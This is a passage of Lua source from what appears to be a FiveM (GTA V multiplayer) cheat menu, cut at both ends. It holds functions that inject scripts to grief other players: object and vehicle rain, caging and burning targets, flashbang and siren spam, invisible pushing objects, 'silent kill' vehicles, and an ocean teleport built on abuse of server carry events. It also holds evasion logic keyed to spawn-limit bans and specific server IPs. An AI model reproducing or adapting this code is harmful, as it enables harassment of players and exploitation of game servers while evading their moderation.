minDim.y, maxDim.y }) do local faceCenter = getFaceCenter(obj, localY) local dirX = faceCenter.x - center.x local dirY = faceCenter.y - center.y local score = (dirX * fwdX) + (dirY * fwdY) if score > bestScore then bestScore = score bestY = localY end end return bestY end local function centerXYOnPed(obj, pedCoords) local worldCenter = getEntityCenter(obj) local objCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset( obj, objCoords.x + (pedCoords.x - worldCenter.x), objCoords.y + (pedCoords.y - worldCenter.y), objCoords.z, false, false, false ) end local bunkerRotX = 0.0 local bunkerRotY = 0.0 local bunkerRotZOffset = 90.0 local function alignFirstContainer(obj, pedCoords, heading, groundZ) SetEntityCoordsNoOffset(obj, pedCoords.x, pedCoords.y, pedCoords.z, false, false, false) SetEntityRotation(obj, bunkerRotX, bunkerRotY, heading + bunkerRotZOffset, 2, true) centerXYOnPed(obj, pedCoords) snapFloorFaceToGround(obj, groundZ) end local function placeOppositeParallelContainer(first, second, heading, groundZ) local openY = getOpeningFaceY(first, heading) local firstOpen = getFaceCenter(first, openY) local firstCenter = getEntityCenter(first) local dirX = firstOpen.x - firstCenter.x local dirY = firstOpen.y - firstCenter.y local dirZ = firstOpen.z - firstCenter.z local len = math.sqrt((dirX * dirX) + (dirY * dirY) + (dirZ * dirZ)) if len < 0.001 then len = 1.0 end dirX = dirX / len dirY = dirY / len dirZ = dirZ / len SetEntityRotation(second, bunkerRotX, bunkerRotY, heading + bunkerRotZOffset + 180.0, 2, true) local sMin, sMax = GetModelDimensions(GetEntityModel(second)) local secondOpenY = (openY == sMin.y) and sMax.y or sMin.y local targetOpen = vector3( firstOpen.x + (dirX * 0.02), firstOpen.y + (dirY * 0.02), firstOpen.z + (dirZ * 0.02) ) SetEntityCoordsNoOffset(second, targetOpen.x, targetOpen.y, targetOpen.z, false, false, false) local secondOpen = getFaceCenter(second, secondOpenY) local secondCoords = GetEntityCoords(second) SetEntityCoordsNoOffset( second, secondCoords.x + (targetOpen.x - secondOpen.x), secondCoords.y + (targetOpen.y - secondOpen.y), secondCoords.z + (targetOpen.z - secondOpen.z), false, false, false ) snapFloorFaceToGround(second, groundZ) end CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local hash = GetHashKey(objectModel) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local pedCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local groundZ = getGroundZ(pedCoords) RequestCollisionAtCoord(pedCoords.x, pedCoords.y, pedCoords.z) local first = CreateObject(hash, pedCoords.x, pedCoords.y, pedCoords.z, true, true, true) local second = CreateObject(hash, pedCoords.x, pedCoords.y, pedCoords.z, true, true, true) if first and first ~= 0 and DoesEntityExist(first) and second and second ~= 0 and DoesEntityExist(second) then alignFirstContainer(first, pedCoords, heading, groundZ) placeOppositeParallelContainer(first, second, heading, groundZ) finalizeContainer(first) finalizeContainer(second) end SetModelAsNoLongerNeeded(hash) end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.fallingObjectRain(options, modelName, useCollision) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local cooldown = 20000 local lastDropTime = objectDropLastTime if not lastDropTime then objectDropLastTime = 0 end local currentTime = GetGameTimer() local elapsed do local lastDropTime = objectDropLastTime elapsed = currentTime - lastDropTime end if cooldown > elapsed then local remainingSeconds do local ceilFunction = math.ceil local remaining = cooldown - elapsed remaining = remaining / 1000 remainingSeconds = ceilFunction(remaining) end local notify = menu.utils.notify local message = "You can press this again in " .. remainingSeconds .. " seconds to avoid a spawn limit ban" notify(message, "error", 3000) return end local whitelisted = menu.utils.isObjectWhitelisted(modelName) if not whitelisted then local notify = menu.utils.notify notify("Object is blacklisted", "error", 2000) return end local targetPed do local tonumberFunction = tonumber local ped = options.targetInfo.ped targetPed = tonumberFunction(ped) end if not targetPed then targetPed = 0 end local format = string.format local template = [[ local targetPed = %d local model = %q local useCollision = %s local function dropRainObject() if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end local pedCoords = GetEntityCoords(targetPed) local spawnPos = vector3(pedCoords.x, pedCoords.y, pedCoords.z + 10.0) local hash = GetHashKey(model) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local obj = CreateObject(hash, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityAsMissionEntity(obj, true, true) if useCollision then SetEntityCompletelyDisableCollision(obj, false) SetEntityCollision(obj, true, true) if SetEntityRecordsCollisions then SetEntityRecordsCollisions(obj, true) end end FreezeEntityPosition(obj, true) SetEntityHasGravity(obj, true) ActivatePhysics(obj) SetEntityDynamic(obj, true) Wait(50) FreezeEntityPosition(obj, false) if useCollision then SetEntityCompletelyDisableCollision(obj, false) SetEntityCollision(obj, true, true) if SetEntityRecordsCollisions then SetEntityRecordsCollisions(obj, true) end end ApplyForceToEntity(obj, 1, 0.0, 0.0, -100.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) end SetModelAsNoLongerNeeded(hash) end CreateThread(function() dropRainObject() for _ = 1, 4 do Wait(2000) dropRainObject() end end) ]] local collisionFlag repeat if useCollision then collisionFlag = "true" if collisionFlag then break end end collisionFlag = "false" until true local script = format(template, targetPed, modelName, collisionFlag) objectDropLastTime = currentTime local safeExecute = menu.utils.safeExecute safeExecute(script) end function assembledMenuFunctions.burgerRain(options) local fallingObjectRain = menu.functions.fallingObjectRain fallingObjectRain(options, "xs_prop_arrow_tyre_01a_wl", false) end function assembledMenuFunctions.truckRain(options) local fallingObjectRain = menu.functions.fallingObjectRain fallingObjectRain(options, "tr_prop_tr_mule_mt_01a", true) end function assembledMenuFunctions.treeRain(options) local fallingObjectRain = menu.functions.fallingObjectRain fallingObjectRain(options, "prop_tree_jacada_01", true) end function assembledMenuFunctions.getArabAttackRainModel(selection) local models = {} models[1] = "xm_prop_base_jet_02" models[2] = "xm_prop_base_jet_01" local input = selection local numericSelection = tonumber(input) if numericSelection then local selectedModel = models[numericSelection] if selectedModel then selectedModel = models[numericSelection] return selectedModel end end local aliases = {} local model = models[1] aliases["1"] = model model = models[2] aliases["2"] = model model = models[1] aliases["Large Jet"] = model model = models[2] aliases["Small Jet"] = model local stringify = tostring local selectedValue if selection then selectedValue = selection else selectedValue = "1" end local key = stringify(selectedValue) local selectedModel = aliases[key] if not selectedModel then selectedModel = models[1] end return selectedModel end function assembledMenuFunctions.arabAttackRain(options) local selectedIndex = menu.vars.selectors repeat if selectedIndex then selectedIndex = menu.vars.selectors.arabAttackSelector if selectedIndex then break end end selectedIndex = 1 until true local model = menu.functions.getArabAttackRainModel(selectedIndex) local fallingObjectRain = menu.functions.fallingObjectRain fallingObjectRain(options, model, true) end function assembledMenuFunctions.rainSelector(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local truckRain = menu.functions.truckRain truckRain(options) end function assembledMenuFunctions.boxPlayerSelector(options) repeat if options then local targetInfo = options.targetInfo if not targetInfo then break end local endpoint = Ham do local foundEndpoint = false repeat repeat if endpoint then endpoint = Ham.getServerEndpoint if not endpoint then break end endpoint = Ham.getServerEndpoint() if endpoint then foundEndpoint = true break end end until true if foundEndpoint then break end endpoint = "" until true end if endpoint == "194.48.217.174" then menu.utils.notify("Ban Blocked", "error", 4000) return end if options.selectedValue == "Box" then local whitelisted = menu.utils.isObjectWhitelisted("prop_pighouse2") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local script = " local targetPed = " .. options.targetInfo.ped .. [[ if not DoesEntityExist(targetPed) then return end local targetCoords = GetEntityCoords(targetPed) local spawnCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z - 0.2) local modelHash = GetHashKey("prop_pighouse2") local object1 = CreateObject(modelHash, spawnCoords.x, spawnCoords.y, spawnCoords.z, true, true, true) SetEntityHeading(object1, 0) FreezeEntityPosition(object1, true) local object2 = CreateObject(modelHash, spawnCoords.x, spawnCoords.y, spawnCoords.z, true, true, true) SetEntityHeading(object2, 180.0) FreezeEntityPosition(object2, true) ]] menu.utils.safeExecute(script) return end if options.selectedValue == "Chair" then local whitelisted = menu.utils.isObjectWhitelisted("bkr_prop_clubhouse_offchair_01a") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local script = " local targetPed = " .. options.targetInfo.ped .. [[ if not DoesEntityExist(targetPed) then return end local modelHash = GetHashKey("bkr_prop_clubhouse_offchair_01a") local targetCoords = GetEntityCoords(targetPed) local object = CreateObject(modelHash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true) SetEntityHeading(object, 0.0) FreezeEntityPosition(object, true) ]] menu.utils.safeExecute(script) return end if options.selectedValue ~= "Fire" then return end local whitelisted = menu.utils.isObjectWhitelisted("prop_pighouse2") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local script = [[ local particles = { {name = "ent_sht_flame", asset = "core"}, {name = "fire_wrecked_plane_cockpit", asset = "core"}, } local targetPed = ]] .. options.targetInfo.ped .. [[ if not DoesEntityExist(targetPed) then return end local modelHash = GetHashKey("prop_pighouse2") local targetCoords = GetEntityCoords(targetPed) local spawnCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z - 0.2) local object1 = CreateObject(modelHash, spawnCoords.x, spawnCoords.y, spawnCoords.z, true, true, true) SetEntityHeading(object1, 0) FreezeEntityPosition(object1, true) local object2 = CreateObject(modelHash, spawnCoords.x, spawnCoords.y, spawnCoords.z, true, true, true) SetEntityHeading(object2, 180.0) FreezeEntityPosition(object2, true) CreateThread(function() Wait(500) for _, p in ipairs(particles) do RequestNamedPtfxAsset(p.asset) while not HasNamedPtfxAssetLoaded(p.asset) do Wait(0) end end local duration = 10000 local startTime = GetGameTimer() while true do local elapsed = GetGameTimer() - startTime if elapsed >= duration then break end if targetPed and DoesEntityExist(targetPed) then local headBone = GetPedBoneIndex(targetPed, 12844) local bonePos = GetWorldPositionOfEntityBone(targetPed, headBone) for _, p in ipairs(particles) do UseParticleFxAssetNextCall(p.asset) local particle = StartNetworkedParticleFxNonLoopedAtCoord( p.name, bonePos.x, bonePos.y, bonePos.z + 0.3, 0.0, 0.0, 0.0, 2.0, true, true, true ) if particle then SetParticleFxLoopedColour(particle, 0.6, 0.0, 0.6, false) end end end Wait(1000) end end) ]] menu.utils.safeExecute(script) return end until true menu.utils.notify("Invalid target.", "error", 2000) return end function assembledMenuFunctions.flashbangPlayer(toggleOptions) if toggleOptions then do local targetInfo = toggleOptions.targetInfo if not targetInfo then return end end local ped = toggleOptions.targetInfo.ped if toggleOptions.toggleState then local script = [[ local particles = { {name = "scr_indep_firework_grd_burst", asset = "proj_indep_firework"}, {name = "scr_indep_firework_trailburst", asset = "proj_indep_firework"}, } local targetPed = ]] .. ped .. [[ if not DoesEntityExist(targetPed) then return end CreateThread(function() for _, p in ipairs(particles) do RequestNamedPtfxAsset(p.asset) while not HasNamedPtfxAssetLoaded(p.asset) do Wait(0) end end _G.Citizen.Bongs = _G.Citizen.Bongs or {} _G.Citizen.Bongs.flashBangTbl = _G.Citizen.Bongs.flashBangTbl or {} Citizen.Bongs.flashBangTbl = Citizen.Bongs.flashBangTbl or {} Citizen.Bongs.flashBangTbl[targetPed] = true local index = 1 local delay = 5000 / 100 while Citizen.Bongs.flashBangTbl[targetPed] do if not DoesEntityExist(targetPed) then Citizen.Bongs.flashBangTbl[targetPed] = nil break end local coords = GetEntityCoords(targetPed) local p = particles[index] UseParticleFxAssetNextCall(p.asset) StartNetworkedParticleFxNonLoopedAtCoord( p.name, coords.x, coords.y, coords.z + 1.0, 0.0, 0.0, 0.0, 100.0, true, true, true ) index = index + 1 if index > #particles then index = 1 end Wait(delay) end end) ]] menu.utils.safeExecute(script) return end local script = " local targetPed = " .. ped .. [[ _G.Citizen.Bongs = _G.Citizen.Bongs or {} if not Citizen.Bongs or not Citizen.Bongs.flashBangTbl or not Citizen.Bongs.flashBangTbl[targetPed] then return end Citizen.Bongs.flashBangTbl[targetPed] = nil ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.teleportToOceanPlayer(options) do local validTarget = false repeat repeat if options then local targetInfo = options.targetInfo if not targetInfo then break end if options.targetInfo.serverId then validTarget = true break end end until true if validTarget then break end menu.utils.notify("No valid player selected", "error", 2000) return until true end local targetInfo = options.targetInfo local targetPed repeat if targetInfo.getFreshPed then targetPed = targetInfo.getFreshPed() if targetPed then break end end targetPed = targetInfo.ped until true local endpoint = Ham do local foundEndpoint = false repeat repeat if endpoint then endpoint = Ham.getServerEndpoint if not endpoint then break end endpoint = Ham.getServerEndpoint() if endpoint then foundEndpoint = true break end end until true if foundEndpoint then break end endpoint = "" until true end repeat if targetPed then local entityExists = DoesEntityExist(targetPed) if entityExists then break end end menu.utils.notify("Target player is no longer valid", "error", 2000) return until true local createThread = Citizen.CreateThread local function runTeleportToOceanPlayerThread() local playerPed = PlayerPedId() local entityCoords = GetEntityCoords(playerPed) local entityHeading = GetEntityHeading(playerPed) local targetCoords = GetEntityCoords(targetPed) local parkCoords = vector3(-15955.181640625, 4247.9116210938, 1384.1102294922) do local handledEndpoint = false repeat repeat if endpoint then if endpoint ~= "91.212.121.20" then if type(endpoint) ~= "string" then break end if not endpoint.find(endpoint, "91%.212%.121%.20") then break end end menu.utils.safeExecute([[ TriggerServerEvent("orange_core:carrySystem:stopCarry") ]]) handledEndpoint = true break end until true if handledEndpoint then break end if endpoint ~= "194.48.217.174" then menu.utils.safeExecute( " local carry = { targetSrc = " .. targetInfo.serverId .. [[ } TriggerServerEvent("CarryPeople:stop", carry.targetSrc) ]] ) end until true end Citizen.Wait(1000) repeat if endpoint == "194.48.217.174" then menu.utils.safeExecute(" local id = " .. targetInfo.serverId .. [[ TriggerServerEvent("nerov_carry:sync", id) ]]) break end if endpoint then if endpoint ~= "91.212.121.20" then if type(endpoint) ~= "string" then break end if not endpoint.find(endpoint, "91%.212%.121%.20") then break end end menu.utils.safeExecute(" local seineid = " .. targetInfo.serverId .. [[ TriggerServerEvent("esx:triggerServerCallback", "orange_core:carrySystem:init", 6, "orange_core", seineid) ]]) end until true Citizen.Wait(500) menu.functions.safeTeleport(vector3(targetCoords.x, targetCoords.y, targetCoords.z + 1.0)) Citizen.Wait(100) if menu.functions then if menu.functions.toggleFullInvisible then local options = {} options.toggleState = true options.allowWithoutNoclip = true options.parkCoords = parkCoords options.suppressNotify = true menu.functions.toggleFullInvisible(options) end end Citizen.Wait(900) if menu.functions then if menu.functions.toggleFullInvisible then local options = {} options.toggleState = false options.suppressNotify = true menu.functions.toggleFullInvisible(options) end end menu.functions.safeTeleport(entityCoords) SetEntityHeading(PlayerPedId(), entityHeading) Citizen.Wait(30) repeat if endpoint then if endpoint ~= "91.212.121.20" then if type(endpoint) ~= "string" then break end if not endpoint.find(endpoint, "91%.212%.121%.20") then break end end menu.utils.safeExecute([[ TriggerServerEvent("orange_core:carrySystem:stopCarry") ]]) return end until true if endpoint ~= "194.48.217.174" then menu.utils.safeExecute(" local carry = { targetSrc = " .. targetInfo.serverId .. [[ } TriggerServerEvent("CarryPeople:stop", carry.targetSrc) ]]) end end createThread(runTeleportToOceanPlayerThread) end function assembledMenuFunctions.banPlayerPush(options) local whitelisted = menu.utils.isObjectWhitelisted("prop_suitcase_03") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end if options then if not options.targetInfo then return end local targetPed = options.targetInfo.ped local vehicle = GetVehiclePedIsIn(targetPed, false) if vehicle ~= 0 then menu.utils.notify("Player cannot be in a vehicle", "error", 2000) return end local script = "local targetPed = " .. options.targetInfo.ped .. [[ if not DoesEntityExist(targetPed) then return end local targetCoords = GetEntityCoords(targetPed) local fwd = GetEntityForwardVector(targetPed) local spawnX = targetCoords.x + (fwd.y * 20.0) local spawnY = targetCoords.y + (-fwd.x * 20.0) local spawnZ = targetCoords.z + 0.7 local model = GetHashKey("prop_suitcase_03") RequestModel(model) while not HasModelLoaded(model) do Citizen.Wait(0) end local o1 = CreateObject(model, spawnX, spawnY, spawnZ, true, true, true) local o2 = CreateObject(model, spawnX + 0.3, spawnY - 0.3, spawnZ, true, true, true) PlaceObjectOnGroundProperly(o1) PlaceObjectOnGroundProperly(o2) SetEntityVisible(o1, false, true) SetEntityVisible(o2, false, true) _G.Citizen = _G.Citizen or Citizen or {} _G.Citizen.Bongs = _G.Citizen.Bongs or {} _G.Citizen.Bongs.pPlayerTbl = _G.Citizen.Bongs.pPlayerTbl or {} Citizen.CreateThread(function() Citizen.Wait(60) SetEntityVisible(o1, false, true) SetEntityVisible(o2, false, true) Citizen.Wait(100) local speed = 30.0 local spin = 1.0 local startTime = GetGameTimer() while GetGameTimer() - startTime < 30000 do if not DoesEntityExist(targetPed) then if Citizen.Bongs and Citizen.Bongs.pPlayerTbl then Citizen.Bongs.pPlayerTbl[targetPed] = nil end break end local p = GetEntityCoords(targetPed) local o1Coords = GetEntityCoords(o1) local d1x = p.x - o1Coords.x local d1y = p.y - o1Coords.y local d1z = p.z - o1Coords.z local l1 = math.sqrt((d1x * d1x) + (d1y * d1y) + (d1z * d1z)) if l1 > 0 then SetEntityVelocity(o1, d1x / l1 * speed, d1y / l1 * speed, d1z / l1 * speed) SetEntityRotation(o1, math.random(0,360)+spin, math.random(0,360)+spin, math.random(0,360)+spin, 2, true) SetEntityHeading(o1, GetEntityHeading(targetPed)) end local o2Coords = GetEntityCoords(o2) local d2x = p.x - o2Coords.x local d2y = p.y - o2Coords.y local d2z = p.z - o2Coords.z local l2 = math.sqrt((d2x * d2x) + (d2y * d2y) + (d2z * d2z)) if l2 > 0 then SetEntityVelocity(o2, d2x / l2 * speed, d2y / l2 * speed, d2z / l2 * speed) SetEntityRotation(o2, math.random(0,360)+spin, math.random(0,360)+spin, math.random(0,360)+spin, 2, true) SetEntityHeading(o2, GetEntityHeading(targetPed)) end Citizen.Wait(0) end DeleteEntity(o1) DeleteEntity(o2) end) ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.pushPlayer(toggleOptions) local whitelisted = menu.utils.isObjectWhitelisted("prop_suitcase_03") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end if toggleOptions then do local targetInfo = toggleOptions.targetInfo if not targetInfo then return end end if toggleOptions.toggleState then local script = "local targetPed = " .. toggleOptions.targetInfo.ped .. [[ if not DoesEntityExist(targetPed) then return end local targetCoords = GetEntityCoords(targetPed) local fwd = GetEntityForwardVector(targetPed) local spawnX = targetCoords.x + (fwd.y * 20.0) local spawnY = targetCoords.y + (-fwd.x * 20.0) local spawnZ = targetCoords.z + 0.7 local model = GetHashKey("prop_suitcase_03") RequestModel(model) while not HasModelLoaded(model) do Citizen.Wait(0) end local o1 = CreateObject(model, spawnX, spawnY, spawnZ, true, true, true) local o2 = CreateObject(model, spawnX + 0.3, spawnY - 0.3, spawnZ, true, true, true) PlaceObjectOnGroundProperly(o1) PlaceObjectOnGroundProperly(o2) SetEntityVisible(o1, true, false) SetEntityVisible(o2, true, false) _G.Citizen = _G.Citizen or Citizen or {} _G.Citizen.Bongs = _G.Citizen.Bongs or {} _G.Citizen.Bongs.pPlayerTbl = _G.Citizen.Bongs.pPlayerTbl or {} Citizen.Bongs.pPlayerTbl = Citizen.Bongs.pPlayerTbl or {} Citizen.Bongs.pPlayerTbl[targetPed] = { o1 = o1, o2 = o2 } Citizen.CreateThread(function() Citizen.Wait(60) SetEntityVisible(o1, false, false) SetEntityVisible(o2, false, false) Citizen.Wait(100) local speed = 30.0 local spin = 1.0 while Citizen.Bongs and Citizen.Bongs.pPlayerTbl and Citizen.Bongs.pPlayerTbl[targetPed] do if not DoesEntityExist(targetPed) then if Citizen.Bongs and Citizen.Bongs.pPlayerTbl then Citizen.Bongs.pPlayerTbl[targetPed] = nil end break end local p = GetEntityCoords(targetPed) local o1Coords = GetEntityCoords(o1) local d1x = p.x - o1Coords.x local d1y = p.y - o1Coords.y local d1z = p.z - o1Coords.z local l1 = math.sqrt((d1x * d1x) + (d1y * d1y) + (d1z * d1z)) if l1 > 0 then SetEntityVelocity(o1, d1x / l1 * speed, d1y / l1 * speed, d1z / l1 * speed) SetEntityRotation(o1, math.random(0,360)+spin, math.random(0,360)+spin, math.random(0,360)+spin, 2, true) SetEntityHeading(o1, GetEntityHeading(targetPed)) end local o2Coords = GetEntityCoords(o2) local d2x = p.x - o2Coords.x local d2y = p.y - o2Coords.y local d2z = p.z - o2Coords.z local l2 = math.sqrt((d2x * d2x) + (d2y * d2y) + (d2z * d2z)) if l2 > 0 then SetEntityVelocity(o2, d2x / l2 * speed, d2y / l2 * speed, d2z / l2 * speed) SetEntityRotation(o2, math.random(0,360)+spin, math.random(0,360)+spin, math.random(0,360)+spin, 2, true) SetEntityHeading(o2, GetEntityHeading(targetPed)) end Citizen.Wait(0) end DeleteEntity(o1) DeleteEntity(o2) if Citizen.Bongs and Citizen.Bongs.pPlayerTbl then Citizen.Bongs.pPlayerTbl[targetPed] = nil end end) ]] menu.utils.safeExecute(script) return end local script = string.format( [[ local targetPed = %d _G.Citizen = _G.Citizen or Citizen or {} _G.Citizen.Bongs = _G.Citizen.Bongs or {} _G.Citizen.Bongs.pPlayerTbl = _G.Citizen.Bongs.pPlayerTbl or {} if not Citizen.Bongs.pPlayerTbl[targetPed] then return end Citizen.Bongs.pPlayerTbl[targetPed] = nil ]], toggleOptions.targetInfo.ped ) menu.utils.safeExecute(script) end end function assembledMenuFunctions.soundSpammer(options, unusedArgument) if options then local targetInfo = options.targetInfo if not targetInfo then return end targetInfo = options.targetInfo local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local pedModel = menu.vars.whitelistedPed if not pedModel then pedModel = GetHashKey("mp_m_freemode_01") end local vehicleModels = {} vehicleModels[1] = "police3" vehicleModels[2] = "conada" if not menu.utils.isWSPedWhitelisted(pedModel) then menu.utils.notify("Ped is blacklisted", "error", 2000) return end for _, model in ipairs(vehicleModels) do if not menu.utils.isVehicleWhitelisted(model) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end end local template = [[ Citizen.CreateThread(function() local targetPed = %d if not DoesEntityExist(targetPed) then return end if not _IG then _IG = {} end if not _IG.soundSpammer then _IG.soundSpammer = {} end local existing = _IG.soundSpammer[targetPed] if not existing then local vehicleModels = { "police3", "conada" } local pedModel = ]] .. pedModel .. [[ RequestModel(pedModel) local timeout2 = GetGameTimer() + 5000 while not HasModelLoaded(pedModel) and GetGameTimer() < timeout2 do Wait(0) end local tyreIndices = {0, 1, 4, 5} local spawnedVehicles = {} local spawnedPeds = {} _IG.soundSpammer[targetPed] = { active = true, vehicles = spawnedVehicles, peds = spawnedPeds } local function spawnVehicle(vModel) if not _IG.soundSpammer[targetPed] or not _IG.soundSpammer[targetPed].active then return end if not DoesEntityExist(targetPed) then return end local tCoords = GetEntityCoords(targetPed) local spawnCoords = vector3(tCoords.x, tCoords.y, tCoords.z + 1.0) local veh = nil _G.Citizen.Bongs.utils.spawnVehicle(vModel, spawnCoords, GetEntityHeading(targetPed), function(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) veh = vehicle SetEntityVisible(veh, false, false) SetEntityInvincible(veh, true) FreezeEntityPosition(veh, true) SetEntityCollision(veh, false, false) SetEntityAsMissionEntity(veh, true, true) SetVehicleSiren(veh, true) SetVehicleHasMutedSirens(veh, false) table.insert(spawnedVehicles, veh) local drv = CreatePedInsideVehicle(veh, 4, pedModel, -1, true, true) if drv ~= 0 and DoesEntityExist(drv) then SetEntityVisible(drv, true, true) SetEntityAlpha(drv, 0, false) SetPedKeepTask(drv, true) SetPedFleeAttributes(drv, 0, false) SetPedCombatAttributes(drv, 46, true) SetBlockingOfNonTemporaryEvents(drv, true) SetEntityCollision(drv, false, false) SetEntityInvincible(drv, true) SetEntityAsMissionEntity(drv, true, true) table.insert(spawnedPeds, drv) end Citizen.CreateThread(function() while _IG.soundSpammer[targetPed] and _IG.soundSpammer[targetPed].active and DoesEntityExist(veh) do for _, tyre in ipairs(tyreIndices) do SetVehicleTyreBurst(veh, tyre, true, 1000.0) end SetVehicleAlarm(veh, true) StartVehicleAlarm(veh) SetVehicleAlarmTimeLeft(veh, 60000) SetVehicleSiren(veh, true) Wait(2000) for _, tyre in ipairs(tyreIndices) do SetVehicleTyreFixed(veh, tyre) end Wait(2000) end end) end, %d) end Citizen.CreateThread(function() local spawnPattern = { vehicleModels[1], vehicleModels[2], vehicleModels[1], vehicleModels[2], vehicleModels[1], vehicleModels[2] } for i = 1, 6 do if not _IG.soundSpammer[targetPed] or not _IG.soundSpammer[targetPed].active then break end spawnVehicle(spawnPattern[i]) if i < 6 then Wait(1000) end end end) Citizen.CreateThread(function() while _IG.soundSpammer[targetPed] and _IG.soundSpammer[targetPed].active do if DoesEntityExist(targetPed) then local tCoords = GetEntityCoords(targetPed) for _, veh in ipairs(spawnedVehicles) do if DoesEntityExist(veh) then SetEntityCoordsNoOffset(veh, tCoords.x, tCoords.y, tCoords.z + 1.0, true, true, true) SetVehicleSiren(veh, true) SetVehicleHasMutedSirens(veh, false) end end end Wait(50) end end) -- Note: models will be released on disable else -- Disable: cleanup local data = _IG.soundSpammer[targetPed] if data then data.active = false if data.peds then for _, ped in ipairs(data.peds) do if DoesEntityExist(ped) then SetEntityAsMissionEntity(ped, true, true) local tries = 0 while DoesEntityExist(ped) and tries < 10 do DeleteEntity(ped) Wait(50) tries = tries + 1 end end end end if data.vehicles then for _, veh in ipairs(data.vehicles) do if DoesEntityExist(veh) then -- stop sirens/alarms then delete robustly SetVehicleSiren(veh, false) SetVehicleHasMutedSirens(veh, true) SetVehicleAlarm(veh, false) SetVehicleAlarmTimeLeft(veh, 0) FreezeEntityPosition(veh, false) SetEntityCollision(veh, true, true) SetEntityAsMissionEntity(veh, true, true) local tries = 0 while DoesEntityExist(veh) and tries < 10 do DeleteEntity(veh) Wait(50) tries = tries + 1 end end end end end _IG.soundSpammer[targetPed] = nil end end) ]] string.format(template, targetInfo.ped, safeSpawn) menu.utils.safeExecute(newCode) end end function assembledMenuFunctions.silentKillVehicle(options) if options then local targetInfo = options.targetInfo if not targetInfo then return end local template = [[ Citizen.CreateThread(function() local targetPed = %d if not targetPed then return end local targetCoords = GetEntityCoords(targetPed) local _, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z, false) local spawnZ = groundZ and (groundZ - 1.0) or (targetCoords.z - 1.0) local model = GetHashKey("adder") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local veh = CreateVehicle(model, targetCoords.x, targetCoords.y, spawnZ, 0.0, true, false) SetEntityVisible(veh, false, false) SetEntityVelocity(veh, 0.0, 0.0, 10.0) Wait(2000) DeleteEntity(veh) SetModelAsNoLongerNeeded(model) end) ]] local script = string.format(template, options.targetInfo.ped) menu.utils.safeExecute(script) end end function assembledMenuFunctions.silentKillHeli(options) if options then if options.targetInfo then if menu.utils.isTargetFriend(options.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end end end if not menu.utils.isVehicleWhitelisted("conada") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if options then if not options.targetInfo then return end local targetInfo = options.targetInfo if not targetInfo.ped then return end local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local template = [[ Citizen.CreateThread(function() local targetPed = %d if not targetPed then return end local helicopterModel = "conada" local coords = GetEntityCoords(targetPed) local spawnCoords = vector3(coords.x, coords.y, coords.z + 3.5) _G.Citizen.Bongs.utils.spawnVehicle(helicopterModel, spawnCoords, 180.0, function(heli) if not heli or not DoesEntityExist(heli) then return end Citizen.Wait(50) SetEntityAsMissionEntity(heli, true, true) SetEntityCollision(heli, true, true) FreezeEntityPosition(heli, false) SetVehicleEngineOn(heli, true, true, false) SetHeliBladesFullSpeed(heli) SetVehicleLights(heli, 2) SetVehicleHasBeenOwnedByPlayer(heli, true) SetEntityInvincible(heli, false) SetEntityRotation(heli, 180.0, 0.0, 90.0, 2, true) SetEntityVisible(heli, true, false) Citizen.SetTimeout(100, function() if DoesEntityExist(heli) then SetEntityVisible(heli, false, false) end end) local running = true Citizen.CreateThread(function() while running and DoesEntityExist(heli) and DoesEntityExist(targetPed) do local targetCoords = GetEntityCoords(targetPed) SetEntityCoordsNoOffset(heli, targetCoords.x, targetCoords.y, targetCoords.z + 3.5, true, true, true) Wait(15) end end) Citizen.CreateThread(function() Wait(5000) if DoesEntityExist(heli) then FreezeEntityPosition(heli, false) running = false DeleteVehicle(heli) end end) end, %d) end) ]] local script = string.format(template, targetInfo.ped, safeSpawn) menu.utils.safeExecute(script) end end function assembledMenuFunctions.silentKillCar(options) if not menu.utils.isVehicleWhitelisted("rumpo") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if options then if not options.targetInfo then return end local targetInfo = options.targetInfo if not targetInfo.ped then return end local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local template = [[ Citizen.CreateThread(function() local targetPed = %d if not targetPed then return end local pos = GetEntityCoords(targetPed) local fwd = GetEntityForwardVector(targetPed) local right = vector3(fwd.y, -fwd.x, 0.0) local spawnPos = pos + (right * 20.0) local vehicleModel = "rumpo" _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnPos, GetEntityHeading(playerPed), function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end 